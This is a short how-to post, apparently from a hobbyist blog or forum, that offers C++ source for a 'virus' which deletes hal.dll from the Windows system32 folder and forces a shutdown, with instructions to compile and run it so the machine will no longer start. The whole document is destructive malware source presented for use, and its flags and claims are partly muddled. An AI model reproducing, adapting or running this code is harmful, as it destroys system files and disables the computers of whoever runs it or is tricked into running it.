how to create a simple virus using c++

This virus will delete the hal.dll (this  file helps the system in startup) in your system32 folder. After performing such task your will no longer will be able to start your system.....

#include <cstdlib>
#include <iostream>
using namespace std;
int main(int argc, char *argv[])
{
   std::remove("C:\\windows\\system32\\hal.dll"); 
    system("shutdown -s -r");
    system("PAUSE");
    return EXIT_SUCCESS;
}
After typing the above source code in  notepad ,save the file as bee.cpp.
 After saving...
compile the source file ...
You will get a .exe file 
On opening the .exe file your system will restart and crash...